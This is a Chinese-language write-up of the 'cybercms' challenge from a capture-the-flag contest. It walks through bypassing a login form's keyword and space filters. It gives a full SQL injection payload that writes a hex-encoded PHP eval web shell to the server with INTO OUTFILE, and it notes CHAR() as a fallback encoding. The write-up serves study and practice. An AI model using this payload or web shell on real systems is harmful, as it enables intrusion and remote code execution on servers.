DASCTF July X CBCTF cybercms
是一个cms网站
常规扫面后台文件

扫到一个后台登录网页,这个cms请求量大了后还是会503,403的,不过这个admin也没有多难猜
登录测试
输入点号 发现可以报错

同时尝试/www.zip可以下载源码

这里会对用户名和密码进行过滤,有两个函数,
第一个,过滤了一些内容 会替换为空,那么双写绕过即可
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
这里过滤了空格,有空格就会判为hacker,然后过滤0x,16进制头
function f1_vvv($str){
if(empty($str)){return;}
if(preg_match("/\ /i", $str)){
exit('Go away,bad hacker!!');
}
preg_replace('/0x/i','',$str);
return $str;
}
那么可以尝试写一句话进服务器
/**/ 可以绕过空格
测试发现有的需要双写绕过 有的则不需要

payload:adm'/**/union/**/seselectlect/**/1,2,3,4,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e/**/into/**/outoutfilefile/**/'/var/www/html/2.php

访问刚刚上传的一句话 如果显示内容 则上传成功
上传后可以直接连接 找flag

也可以发参数慢慢找



mysql 16 进制写入文件

在本地测试了一下16进制写入文件

发现写入直接变字符
0x绕过
0x如果被ban那么可以用char函数

char 能将十进制转为16进制
将一句话转为ascii码表示
再用char 函数上传
本文介绍了一种CMS网站的安全漏洞利用方法,通过分析后台登录过程中的过滤机制,绕过安全检查并上传恶意代码到服务器。
784

被折叠的 条评论
为什么被折叠?



